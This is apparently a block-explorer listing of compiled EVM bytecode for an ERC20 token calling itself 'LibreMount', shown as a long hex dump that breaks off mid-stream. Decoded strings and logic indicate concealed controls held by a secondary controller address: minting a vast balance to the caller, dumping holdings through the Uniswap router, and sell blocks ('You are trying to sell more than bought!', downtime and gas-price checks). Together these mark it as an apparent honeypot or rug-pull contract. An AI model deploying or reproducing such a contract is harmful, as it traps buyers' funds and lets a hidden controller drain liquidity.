ffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61106a6124b1565b6110746000612528565b565b6110a233600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b601460009054906101000a900460ff1615601460006101000a81548160ff021916908315150217905550565b60136020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606008805461112690612ee3565b80601f016020809104026020016040519081016040528092919081815260200182805461115290612ee3565b801561119f5780601f106111745761010080835404028352916020019161119f565b820191906000526020600020905b81548152906001019060200180831161118257829003601f168201915b5050505050905090565b6111d533600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b80600660008282546111e7919061305a565b9250508190555050565b61121d33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b60005b838390508110156112bc5781601160008686858181106112435761124261318c565b5b90506020020160208101906112589190612cec565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806112b4906131bb565b915050611220565b50505050565b60008033905060006112d482866116df565b905083811015611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613275565b60405180910390fd5b61132682868684036119a6565b60019250505092915050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080339050611399818585611c6d565b600191505092915050565b6113d033600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b60006113db30610abe565b90506000816dffffffffffffffffffffffffffff80166113fb9190613295565b90506114056125ec565b6114173061141233611019565b611388565b5061145530600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff80166119a6565b6060600267ffffffffffffffff811115611472576114716132c9565b5b6040519080825280602002602001820160405280156114a05781602001602082028036833780820191505090505b50905030816000815181106114b8576114b761318c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561155f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115839190612ffe565b816001815181106115975761159661318c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b042611627919061305a565b6040518663ffffffff1660e01b81526004016116479594939291906133fb565b6000604051808303816000875af1158015611666573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061168f9190613579565b5050505050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6117be33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61180a6124b1565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187090613634565b60405180910390fd5b61188281612528565b50565b6118b133600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b6118de30600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119a6565b6118e83082611388565b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343084600080336104b04261193c919061305a565b6040518863ffffffff1660e01b815260040161195d96959493929190613654565b60606040518083038185885af115801561197b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119a091906136b5565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0c9061377a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7b9061380c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b629190612bf1565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd49061389e565b60405180910390fd5b5050565b6000611bed84846116df565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611c675781811015611c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c509061390a565b60405180910390fd5b611c6684848484036119a6565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd39061399c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4290613a2e565b60405180910390fd5b611d56838383612654565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd490613ac0565b60405180910390fd5b611de684610eeb565b158015611df95750611df783610eeb565b155b1561239557611e07846128d3565b15612041576000611e1a83600b54612985565b90508282611e289190613295565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083611e779190613295565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ec5919061305a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611f279190613295565b604051611f349190612bf1565b60405180910390a38060046000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611fad919061305a565b92505081905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120339190612bf1565b60405180910390a350612390565b61204a836128d3565b1561228457600061205d83600c54612985565b9050828261206b9190613295565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836120ba9190613295565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612108919061305a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661216a9190613295565b6040516121779190612bf1565b60405180910390a38060046000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121f0919061305a565b92505081905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122769190612bf1565b60405180910390a35061238f565b81816122909190613295565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612322919061305a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123869190612bf1565b60405180910390a35b5b6124a0565b81816123a19190613295565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612433919061305a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124979190612bf1565b60405180910390a35b6124ab8484846129a7565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff166124d06110ee565b73ffffffffffffffffffffffffffffffffffffffff1614612526576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251d90613b2c565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6dffffffffffffffffffffffffffff8016600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461264b919061305a565b92505081905550565b61265d836128d3565b156126eb5780600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6126f4826128d3565b156128ce57601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166128cd5780600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156127cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c390613bbe565b60405180910390fd5b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461281b9190613295565b9250508190555061282a610cb9565b156128ba5761287a600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546010546129ac565b6128b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128b090613c2a565b60405180910390fd5b5b6128c26129c5565b156128cc57600080fd5b5b5b505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148061297e5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000606482846129959190613c4a565b61299f9190613cbb565b905092915050565b505050565b60004282846129bb919061305a565b1015905092915050565b6000600a543a1015905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a0c5780820151818401526020810190506129f1565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a34826129d2565b612a3e81856129dd565b9350612a4e8185602086016129ee565b612a5781612a18565b840191505092915050565b60006020820190508181036000830152612a7c8184612a29565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ac382612a98565b9050919050565b612ad381612ab8565b8114612ade57600080fd5b50565b600081359050612af081612aca565b92915050565b6000819050919050565b612b0981612af6565b8114612b1457600080fd5b50565b600081359050612b2681612b00565b92915050565b60008060408385031215612b4357612b42612a8e565b5b6000612b5185828601612ae1565b9250506020612b6285828601612b17565b9150509250929050565b60008115159050919050565b612b8181612b6c565b82525050565b6000602082019050612b9c6000830184612b78565b92915050565b60008060408385031215612bb957612bb8612a8e565b5b6000612bc785828601612ae1565b9250506020612bd885828601612ae1565b9150509250929050565b612beb81612af6565b82525050565b6000602082019050612c066000830184612be2565b92915050565b600080600060608486031215612c2557612c24612a8e565b5b6000612c3386828701612ae1565b9350506020612c4486828701612ae1565b9250506040612c5586828701612b17565b9150509250925092565b6000604082019050612c746000830185612be2565b612c816020830184612be2565b9392505050565b600060ff82169050919050565b612c9e81612c88565b82525050565b6000602082019050612cb96000830184612c95565b92915050565b600060208284031215612cd557612cd4612a8e565b5b6000612ce384828501612b17565b91505092915050565b600060208284031215612d0257612d01612a8e565b5b6000612d1084828501612ae1565b91505092915050565b612d2281612b6c565b8114612d2d57600080fd5b50565b600081359050612d3f81612d19565b92915050565b60008060408385031215612d5c57612d5b612a8e565b5b6000612d6a85828601612ae1565b9250506020612d7b85828601612d30565b9150509250929050565b60008060408385031215612d9c57612d9b612a8e565b5b6000612daa85828601612b17565b9250506020612dbb85828601612b17565b9150509250929050565b612dce81612ab8565b82525050565b6000602082019050612de96000830184612dc5565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612e1457612e13612def565b5b8235905067ffffffffffffffff811115612e3157612e30612df4565b5b602083019150836020820283011115612e4d57612e4c612df9565b5b9250929050565b600080600060408486031215612e6d57612e6c612a8e565b5b600084013567ffffffffffffffff811115612e8b57612e8a612a93565b5b612e9786828701612dfe565b93509350506020612eaa86828701612d30565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612efb57607f821691505b602082108103612f0e57612f0d612eb4565b5b50919050565b60006dffffffffffffffffffffffffffff82169050919050565b612f3781612f14565b8114612f4257600080fd5b50565b600081519050612f5481612f2e565b92915050565b600063ffffffff82169050919050565b612f7381612f5a565b8114612f7e57600080fd5b50565b600081519050612f9081612f6a565b92915050565b600080600060608486031215612faf57612fae612a8e565b5b6000612fbd86828701612f45565b9350506020612fce86828701612f45565b9250506040612fdf86828701612f81565b9150509250925092565b600081519050612ff881612aca565b92915050565b60006020828403121561301457613013612a8e565b5b600061302284828501612fe9565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061306582612af6565b915061307083612af6565b92508282019050808211156130885761308761302b565b5b92915050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b60006130c4601d836129dd565b91506130cf8261308e565b602082019050919050565b600060208201905081810360008301526130f3816130b7565b9050919050565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b60006131566024836129dd565b9150613161826130fa565b604082019050919050565b6000602082019050818103600083015261318581613149565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006131c682612af6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036131f8576131f761302b565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061325f6025836129dd565b915061326a82613203565b604082019050919050565b6000602082019050818103600083015261328e81613252565b9050919050565b60006132a082612af6565b91506132ab83612af6565b92508282039050818111156132c3576132c261302b565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b6000819050919050565b600061332761332261331d846132f8565b613302565b612af6565b9050919050565b6133378161330c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61337281612ab8565b82525050565b60006133848383613369565b60208301905092915050565b6000602082019050919050565b60006133a88261333d565b6133b28185613348565b93506133bd83613359565b8060005b838110156133ee5781516133d58882613378565b97506133e083613390565b9250506001810190506133c1565b5085935050505092915050565b600060a0820190506134106000830188612be2565b61341d602083018761332e565b818103604083015261342f818661339d565b905061343e6060830185612dc5565b61344b6080830184612be2565b9695505050505050565b61345e82612a18565b810181811067ffffffffffffffff8211171561347d5761347c6132c9565b5b80604052505050565b6000613490612a84565b905061349c8282613455565b919050565b600067ffffffffffffffff8211156134bc576134bb6132c9565b5b602082029050602081019050919050565b6000815190506134dc81612b00565b92915050565b60006134f56134f0846134a1565b613486565b9050808382526020820190506020840283018581111561351857613517612df9565b5b835b81811015613541578061352d88826134cd565b84526020840193505060208101905061351a565b5050509392505050565b600082601f8301126135605761355f612def565b5b81516135708482602086016134e2565b91505092915050565b60006020828403121561358f5761358e612a8e565b5b600082015167ffffffffffffffff8111156135ad576135ac612a93565b5b6135b98482850161354b565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061361e6026836129dd565b9150613629826135c2565b604082019050919050565b6000602082019050818103600083015261364d81613611565b9050919050565b600060c0820190506136696000830189612dc5565b6136766020830188612be2565b613683604083018761332e565b613690606083018661332e565b61369d6080830185612dc5565b6136aa60a0830184612be2565b979650505050505050565b6000806000606084860312156136ce576136cd612a8e565b5b60006136dc868287016134cd565b93505060206136ed868287016134cd565b92505060406136fe868287016134cd565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006137646024836129dd565b915061376f82613708565b604082019050919050565b6000602082019050818103600083015261379381613757565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006137f66022836129dd565b91506138018261379a565b604082019050919050565b60006020820190508181036000830152613825816137e9565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006138886021836129dd565b91506138938261382c565b604082019050919050565b600060208201905081810360008301526138b78161387b565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006138f4601d836129dd565b91506138ff826138be565b602082019050919050565b60006020820190508181036000830152613923816138e7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006139866025836129dd565b91506139918261392a565b604082019050919050565b600060208201905081810360008301526139b581613979565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613a186023836129dd565b9150613a23826139bc565b604082019050919050565b60006020820190508181036000830152613a4781613a0b565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613aaa6026836129dd565b9150613ab582613a4e565b604082019050919050565b60006020820190508181036000830152613ad981613a9d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613b166020836129dd565b9150613b2182613ae0565b602082019050919050565b60006020820190508181036000830152613b4581613b09565b9050919050565b7f596f752061726520747279696e6720746f2073656c6c206d6f7265207468616e60008201527f20626f7567687421000000000000000000000000000000000000000000000000602082015250565b6000613ba86028836129dd565b9150613bb382613b4c565b604082019050919050565b60006020820190508181036000830152613bd781613b9b565b9050919050565b7f4c696272654d6f756e743a20457863656564732054786e20446f776e74696d65600082015250565b6000613c146020836129dd565b9150613c1f82613bde565b602082019050919050565b60006020820190508181036000830152613c4381613c07565b9050919050565b6000613c5582612af6565b9150613c6083612af6565b9250828202613c6e81612af6565b91508282048414831517613c8557613c8461302b565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613cc682612af6565b9150613cd183612af6565b925082613ce157613ce0613c8c565b5b82820490509291505056fea2646970667358221220e38b7d8d7d6036874239b843a626fd06d3c9ef34b8ab68bada5c1533cbae930964736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x60806040526004361061021a5760003560e01c806370a0823111610123578063a7e90f41116100ab578063e3bbb4f11161006f578063e3bbb4f11461080a578063e4440a8614610835578063edd8b64a14610860578063f2fde38b14610889578063f53d9d58146108b25761021a565b8063a7e90f41146106ff578063a9059cbb1461073c578063c0e8c61e14610779578063d1a039f014610790578063dd62ed3e146107cd5761021a565b80638da5cb5b116100f25780638da5cb5b1461061a57806395d89b41146106455780639e568dbc146106705780639f38a0d714610699578063a457c2d7146106c25761021a565b806370a0823114610572578063715018a6146105af5780638229c2e5146105c657806385ecafd7146105dd5761021a565b80633816377e116101a65780634feeade4116101755780634feeade41461048f5780635337cc99146104a65780635342acb4146104cf5780636994ee731461050c5780636db79437146105495761021a565b80633816377e146103d557806339509351146103fe5780633975cae91461043b5780634d474d42146104665761021a565b806323b872dd116101ed57806323b872dd146102db5780632df8bca914610318578063313ce56714610344578063344d9e791461036f57806335d16274146103985761021a565b806306fdde031461021f578063095ea7b31461024a5780631342be9b1461028757806318160ddd146102b0575b600080fd5b34801561022b57600080fd5b506102346108ce565b6040516102419190612a62565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c9190612b2c565b610960565b60405161027e9190612b87565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a99190612ba2565b61097c565b005b3480156102bc57600080fd5b506102c5610a2e565b6040516102d29190612bf1565b60405180910390f35b3480156102e757600080fd5b5061030260048036038101906102fd9190612c0c565b610a38565b60405161030f9190612b87565b60405180910390f35b34801561032457600080fd5b5061032d610a60565b60405161033b929190612c5f565b60405180910390f35b34801561035057600080fd5b50610359610a71565b6040516103669190612ca4565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612cbf565b610a88565b005b3480156103a457600080fd5b506103bf60048036038101906103ba9190612cec565b610abe565b6040516103cc9190612bf1565b60405180910390f35b3480156103e157600080fd5b506103fc60048036038101906103f79190612cbf565b610c53565b005b34801561040a57600080fd5b5061042560048036038101906104209190612b2c565b610c89565b6040516104329190612b87565b60405180910390f35b34801561044757600080fd5b50610450610cb9565b60405161045d9190612b87565b60405180910390f35b34801561047257600080fd5b5061048d60048036038101906104889190612cec565b610cd0565b005b34801561049b57600080fd5b506104a4610d40565b005b3480156104b257600080fd5b506104cd60048036038101906104c89190612d45565b610dd2565b005b3480156104db57600080fd5b506104f660048036038101906104f19190612cec565b610eeb565b6040516105039190612b87565b60405180910390f35b34801561051857600080fd5b50610533600480360381019061052e9190612cec565b610f41565b6040516105409190612bf1565b60405180910390f35b34801561055557600080fd5b50610570600480360381019061056b9190612d85565b610f8a565b005b34801561057e57600080fd5b5061059960048036038101906105949190612cec565b611019565b6040516105a69190612bf1565b60405180910390f35b3480156105bb57600080fd5b506105c4611062565b005b3480156105d257600080fd5b506105db611076565b005b3480156105e957600080fd5b5061060460048036038101906105ff9190612cec565b6110ce565b6040516106119190612b87565b60405180910390f35b34801561062657600080fd5b5061062f6110ee565b60405161063c9190612dd4565b60405180910390f35b34801561065157600080fd5b5061065a611117565b6040516106679190612a62565b60405180910390f35b34801561067c57600080fd5b5061069760048036038101906106929190612cbf565b6111a9565b005b3480156106a557600080fd5b506106c060048036038101906106bb9190612e54565b6111f1565b005b3480156106ce57600080fd5b506106e960048036038101906106e49190612b2c565b6112c2565b6040516106f69190612b87565b60405180910390f35b34801561070b57600080fd5b5061072660048036038101906107219190612cec565b611332565b6040516107339190612b87565b60405180910390f35b34801561074857600080fd5b50610763600480360381019061075e9190612b2c565b611388565b6040516107709190612b87565b60405180910390f35b34801561078557600080fd5b5061078e6113a4565b005b34801561079c57600080fd5b506107b760048036038101906107b29190612cec565b611696565b6040516107c49190612bf1565b60405180910390f35b3480156107d957600080fd5b506107f460048036038101906107ef9190612ba2565b6116df565b6040516108019190612bf1565b60405180910390f35b34801561081657600080fd5b5061081f611766565b60405161082c9190612bf1565b60405180910390f35b34801561084157600080fd5b5061084a61176c565b6040516108579190612dd4565b60405180910390f35b34801561086c57600080fd5b5061088760048036038101906108829190612cec565b611792565b005b34801561089557600080fd5b506108b060048036038101906108ab9190612cec565b611802565b005b6108cc60048036038101906108c79190612cbf565b611885565b005b6060600780546108dd90612ee3565b80601f016020809104026020016040519081016040528092919081815260200182805461090990612ee3565b80156109565780601f1061092b57610100808354040283529160200191610956565b820191906000526020600020905b81548152906001019060200180831161093957829003601f168201915b5050505050905090565b6000803390506109718185856119a6565b600191505092915050565b6109a833600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000600654905090565b600080339050610a49858285611be1565b610a54858585611c6d565b60019150509392505050565b600080600b54600c54915091509091565b6000600960009054906101000a900460ff16905090565b610ab433600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b8060108190555050565b6000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610b30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b549190612f96565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c039190612ffe565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457816dffffffffffffffffffffffffffff16610c46565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b610c7f33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b80600a8190555050565b600080339050610cae818585610c9f85896116df565b610ca9919061305a565b6119a6565b600191505092915050565b6000601460009054906101000a900460ff16905090565b610cfc33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610d6c33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b6d629b8c891b267182b61400000000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dc9919061305a565b92505081905550565b610dfe33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b801515601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e87906130da565b60405180910390fd5b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fb633600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b60648211158015610fc8575060648111155b611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe9061316c565b60405180910390fd5b81600b8190555080600c819055505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61106a6124b1565b6110746000612528565b565b6110a233600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b601460009054906101000a900460ff1615601460006101000a81548160ff021916908315150217905550565b60136020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606008805461112690612ee3565b80601f016020809104026020016040519081016040528092919081815260200182805461115290612ee3565b801561119f5780601f106111745761010080835404028352916020019161119f565b820191906000526020600020905b81548152906001019060200180831161118257829003601f168201915b5050505050905090565b6111d533600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b80600660008282546111e7919061305a565b9250508190555050565b61121d33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b60005b838390508110156112bc5781601160008686858181106112435761124261318c565b5b90506020020160208101906112589190612cec565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806112b4906131bb565b915050611220565b50505050565b60008033905060006112d482866116df565b905083811015611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613275565b60405180910390fd5b61132682868684036119a6565b60019250505092915050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080339050611399818585611c6d565b600191505092915050565b6113d033600d60009054906101000a900473ffffffffffffffff